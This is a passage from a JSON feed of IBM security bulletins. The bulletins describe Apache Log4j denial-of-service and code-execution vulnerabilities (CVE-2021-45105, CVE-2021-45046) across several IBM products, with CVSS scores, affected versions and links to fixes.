(MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Cloud Pak for Multicloud Management Monitoring| 2.3 \n \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now** by upgrading to IBM Cloud Pak for Multicloud Management 2.3 Fix Pack 4 by following the instructions at <https://www.ibm.com/docs/en/cloud-paks/cp-management/2.3.x?topic=upgrade-upgrading-fix-pack-3-4>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-18T12:49:17", "type": "ibm", "title": "Security Bulletin: IBM Cloud Pak for Multicloud Management is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-02-18T12:49:17", "id": "31818542FEE3EBA05F196E3245AADB3A27506A9391A7E39DC666A3A5AAEE4963", "href": "https://www.ibm.com/support/pages/node/6557424", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:54:56", "description": "## Summary\n\nThere is a vulnerability in the Apache Log4j open source library used by IBM Informix Dynamic Server for IBM Informix HQ. IBM Informix Dynamic Server is vulnerable to denial of service (CVE-2021-45105) and remote code execution (CVE-2021-45046) due to Apache Log4j. The fix is included in Apache Log4j 2.17.1. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Informix Dynamic Server| 14.10 \nIBM Informix Dynamic Server| 12.10 \n \n\n\n## Remediation/Fixes\n\n**For 14.10 IBM Informix Dynamic Server** \n\n\n 1. Go to [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EInformation%20Management&product=ibm/Information+Management/Informix&release=14.10.FC7&platform=All&function=all](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EInformation%20Management&product=ibm/Information+Management/Informix&release=14.10.FC7&platform=All&function=all>)\n 2. Download and install the **14.10.FC7W1** version for your platform which contains the fix in InformixHQ.\n\n**For 12.10 IBM Informix Dynamic Server** \n\n\n 1. Go to [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EInformation%20Management&product=ibm/Information+Management/Informix&release=12.10.FC15W1&platform=All&function=recommended](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EInformation%20Management&product=ibm/Information+Management/Informix&release=12.10.FC15W1&platform=All&function=recommended>)\n 2. Download and install the **12.10.FC15W1** version for your platform which contains the fix in InformixHQ. \n\nCustomers are encouraged to take immediate action by applying the fix.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-15T13:31:29", "type": "ibm", "title": "Security Bulletin: IBM Informix Dynamic Server is vulnerable to denial of service (CVE-2021-45105) and remote code execution (CVE-2021-45046) due to Apache Log4j", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-04-15T13:31:29", "id": "10DF4536D86919652FFFFF08E8AC284AF696E6684CAF921DD9F5AB335A3882A9", "href": "https://www.ibm.com/support/pages/node/6572685", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:55:38", "description": "## Summary\n\nApache Log4j is used by IBM Db2 Big SQL as part of its logging infrastructure. IBM Db2 Big SQL is vulnerable to arbitrary code execution and denial of service due to Apache Log4j (CVE-2021-45046, CVE-2021-45105). The fix includes Apache Log4j 2.17.1\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nDb2 Big SQL on HDP, CDP| 6.0.0.0 \nDb2 Big SQL on HDP, CDP| 7.1.0.0 \nDb2 Big SQL on Cloud Pak for Data| 7.1.1 (on CP4D 3.5.0) \nDb2 Big SQL on Cloud Pak for Data| 7.2.0 (on CP4D 4.0.0) \nDb2 Big SQL on Cloud Pak for Data| 7.2.1 (on CP4D 4.0.1) \nDb2 Big SQL on Cloud Pak for Data| 7.2.2 (on CP4D 4.0.2) \nDb2 Big SQL on Cloud Pak for Data| 7.2.3 (on CP4D 4.0.3) \n \nHDP is Hortonworks Data Platform\n\nCDP is Cloudera Data Platform Private Cloud\n\n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading Affected Product(s)| Version(s)| Fixes \n---|---|--- \nDb2 Big SQL on Cloud Pak for Data| 7.1.1 (on CP4D 3.5.0)| \n\nFollow the [instructions](<https://www.ibm.com/support/pages/node/6237854> \"instructions\" ) to apply Db2 Big SQL on CP4D 3.5 Patch 379 \n \nDb2 Big SQL on Cloud Pak for Data| 7.2.0 (on CP4D 4.0.0)| \n\nFollow the [instructions](<https://www.ibm.com/support/pages/node/6527264> \"instructions\" ) to upgrade to Db2 Big SQL 7.2.3 on CP4D 4.0.4 \n \nDb2 Big SQL on Cloud Pak for Data| 7.2.1 (on CP4D 4.0.1)| \n\nFollow the [instructions](<https://www.ibm.com/support/pages/node/6527264> \"instructions\" ) to upgrade to Db2 Big SQL 7.2.3 on CP4D 4.0.4 \n \nDb2 Big SQL on Cloud Pak for Data| 7.2.2 (on CP4D 4.0.2)| \n\nFollow the [instructions](<https://www.ibm.com/support/pages/node/6527264> \"instructions\" ) to upgrade to Db2 Big SQL 7.2.3 on CP4D 4.0.4 \n \nDb2 Big SQL on Cloud Pak for Data| 7.2.3 (on CP4D 4.0.3)| \n\nFollow the [instructions](<https://www.ibm.com/support/pages/node/6527264> \"instructions\" ) to upgrade to Db2 Big SQL 7.2.3 on CP4D 4.0.4 \n \n## Workarounds and Mitigations\n\nIBM strongly suggest addressing the vulnerability now by applying the mitigation below \n\n**Product(s)**| **Version(s)**| \n\n**Remediation/Fix/Instructions** \n \n---|---|--- \nDb2 Big SQL on HDP, CDP| 6.0.0.0| Follow the [instructions](<https://www.ibm.com/support/pages/apar/PH42765> \"instructions\" ) to update the vulnerable library \nDb2 Big SQL on HDP, CDP| 7.1.0.0| Follow the [instructions](<https://www.ibm.com/support/pages/apar/PH42765> \"instructions\" ) to update the vulnerable library \n \nHDP is Hortonworks Data Platform\n\nCDP is Cloudera Data Platform Private Cloud\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-22T16:47:00", "type": "ibm", "title": "Security Bulletin: IBM Db2 Big SQL is vulnerable to arbitrary code execution and denial of service due to Apache Log4j (CVE-2021-45046, CVE-2021-45105)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-03-22T16:47:00", "id": "A9B63F0DBA193CFFCFE78E0BFADD5C8ADA02B92500E16CBF9385EE4AB5A92A9F", "href": "https://www.ibm.com/support/pages/node/6565401", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:10", "description": "## Summary\n\nIBM Data Management Platform for EnterpriseDB (EDB) Postgres Enterprise contains a component called EDB failover manager (EFM) and uses a version of log4j that impacts high availability in EDB. The upgraded EFM product contains Apache Log4j 2.17.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Data Management Platform for EDB Postgres Enterprise| 1.0 \nIBM Data Management Platform for EDB Postgres Enterprise | 2.0 \n \n\n\n## Remediation/Fixes\n\nThis applies for all versions listed in this security bulletin: \n\nIf EFM is being used as a quorum / failover strategy for IBM Data Management Platform for EDB Postgres Enterprise, IBM strongly recommends addressing the vulnerability now by upgrading their versions of EFM to EDB Failover Manager version 4.4 which contains Apache Log4j 2.17.1.\n\nIf EFM is not being used no further action is needed.\n\nPlease review for information only - EnterpriseDB's EFM Technical Alert here: <https://support.enterprisedb.com/support/s/detail/a4V2J000001VJn1UAG>\n\n## Workarounds and Mitigations\n\nIBM strongly recommends addressing the vulnerability now by upgrading the version of EFM (if being used) to the latest version 4.4 as noted in the remediation section above.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-02T19:47:50", "type": "ibm", "title": "Security Bulletin: IBM Data Management Platform for EDB Postgres Enterprise is vulnerable to arbitrary code execution due to Apache Log4j (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-02-02T19:47:50", "id": "0B7D327E5943F8BAC5B2E5CC855F0062D08A51BF03FA3BB29C4B6E081796EE73", "href": "https://www.ibm.com/support/pages/node/6552888", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:36", "description": "## Summary\n\nMultiple Apache Log4j vulnerabilities (CVE-2021-45105, CVE-2021-45046) have been reported for the log4j-core-2.x library, which is packaged in several components of IBM Cloud Pak for Automation. This fix upgrades all copies of log4j-core-2.x to 2.17.0.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Cloud Pak for Automation| \n\nV18.0.0 - V18.0.2 \nV19.0.1 - V19.0.3 \nV20.0.1 - V20.0.3-IF011 \nV21.0.1 - V21.0.1-IF007 \nV21.0.2 - V21.0.2-IF006 \nV21.0.3 - V21.0.3-IF001 \n \n \n\n\n## Remediation/Fixes\n\nThe recommended action is to upgrade to the latest cumulative security fix for your release and consider upgrading to the latest release. \n\n * [IBM Cloud Pak for Automation 20.0.3-IF012](<https://www.ibm.com/support/pages/node/6539976> \"IBM Cloud Pak for Automation 20.0.3-IF012\" )\n * [IBM Cloud Pak for Automation 21.0.2-IF007](<https://www.ibm.com/support/pages/node/6539964> \"IBM Cloud Pak for Automation 21.0.2-IF007\" )\n * [IBM Cloud Pak for Automation 21.0.3-IF002](<https://www.ibm.com/support/pages/node/6539966> \"IBM Cloud Pak for Automation 21.0.3-IF002\" )\n**Affected Product(s)**| **Version(s)**| **Remediation / Fix** \n---|---|--- \nIBM Cloud Pak for Automation| V18.0.0 - V20.0.2| \n\nUpgrade to V21.0.3 and apply [IBM Cloud Pak for Automation 21.0.3-IF002](<https://www.ibm.com/support/pages/node/6539966> \"IBM Cloud Pak for Automation 21.0.3-IF002\" ) or later \n \nIBM Cloud Pak for Automation| V20.0.3 - V20.0.3-IF011| \n\nApply [IBM Cloud Pak for Automation 20.0.3-IF012](<https://www.ibm.com/support/pages/node/6539976> \"IBM Cloud Pak for Automation 20.0.3-IF012\" ) or \nUpgrade to V21.0.3 and apply [IBM Cloud Pak for Automation 21.0.3-IF002](<https://www.ibm.com/support/pages/node/6539966> \"IBM Cloud Pak for Automation 21.0.3-IF002\" ) or later \n \nIBM Cloud Pak for Automation\n\n| V21.0.2 - V21.0.2-IF006| Apply [IBM Cloud Pak for Automation 21.0.2-IF007](<https://www.ibm.com/support/pages/node/6539964> \"IBM Cloud Pak for Automation 21.0.2-IF007\" ) or \nUpgrade to V21.0.3 and apply [IBM Cloud Pak for Automation 21.0.3-IF002](<https://www.ibm.com/support/pages/node/6539966> \"IBM Cloud Pak for Automation 21.0.3-IF002\" ) or later \n \nIBM Cloud Pak for Automation\n\n| V21.0.3 - V21.03-IF001| \n\nApply [IBM Cloud Pak for Automation 21.0.3-IF002](<https://www.ibm.com/support/pages/node/6539966> \"IBM Cloud Pak for Automation 21.0.3-IF002\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-25T13:53:04", "type": "ibm", "title": "Security Bulletin: IBM Cloud Pak for Automationis vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-25T13:53:04", "id": "4E7048D2949BF25810D29EF0126BEB63CEE9FB2EFA940D8D15F1A2EA9579215D", "href": "https://www.ibm.com/support/pages/node/6550816", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:54", "description": "## Summary\n\nApache Log4j is used by IBM Telco Network Cloud Manager - Performance for logging and is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046). The fix includes Apache Log4j v2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Telco Network Cloud Manager - Performance (TNCP)| TNC-P 1.4.1 \nIBM Telco Network Cloud Manager - Performance (TNCP)| TNC-P 1.4 \nIBM Telco Network Cloud Manager - Performance (TNCP)| TNC-P 1.3 \nIBM Telco Network Cloud Manager - Performance (TNCP)| TNC-P 1.2 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now. This Security Bulletin is applicable to all IBM Telco Network Cloud Manager - Performance released versions.**\n\nFor IBM Telco Network Cloud Manager - Performance 1.4.1:\n\nPlease download fix from [http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Telco+Network+Cloud+Manager+-+Performance&fixids=1.4.1-TIV-TNCP-IF001&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Telco+Network+Cloud+Manager+-+Performance&fixids=1.4.1-TIV-TNCP-IF001&source=SAR>)\n\nFor more information about applying the fix, go to IBM Documentation : <https://www.ibm.com/docs/en/tncm-p/1.4.1?topic=configuring-installing>\n\nFor IBM Telco Network Cloud Manager - Performance 1.4 , 1.3 and 1.2: \n\nIf you have one of the listed affected versions, it is strongly recommended that you apply the most recent security update to UI service:\n\nApply the following updated UI service image by navigating into tncp product namespace -> statefulset -> ui\n\n * **If the product is deployed on Openshift environment, then use following image : **cp.icr.io/cp/tncp/basecamp-ui:2.4.1.0-35-df9b0c6b@sha256:ad2e6b3ca431f887c617f909f4ed4a02f140b53550c65567829bbdcfeeb6f7c9\n * **If the product is deployed on Kubernetes environment, then use following image : **docker.io/persistentsystems/basecamp-ui:2.4.1.0-35-df9b0c6b@sha256:ad2e6b3ca431f887c617f909f4ed4a02f140b53550c65567829bbdcfeeb6f7c9\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-15T01:30:45", "type": "ibm", "title": "Security Bulletin: IBM Telco Network Cloud Manager - Performance is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-15T01:30:45", "id": "EACE8EC2B7164C19E5BA497C1D57887C847EC033403098801408B0F6BB2B6736", "href": "https://www.ibm.com/support/pages/node/6541168", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:25", "description": "## Summary\n\nThe Apache Log4j vulnerabilities affect the z/Transaction Processing Facility (z/TPF) system and TPF Operations Server. Several Java applications on the z/TPF system depend on Apache Log4j capabilities. Additionally, the 64-bit Java support in TPF Operations Server uses Apache Log4j capabilities. All components in the z/TPF system and TPF Operations Server that use Apache Log4j have been updated to use Apache Log4j 2.17.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ 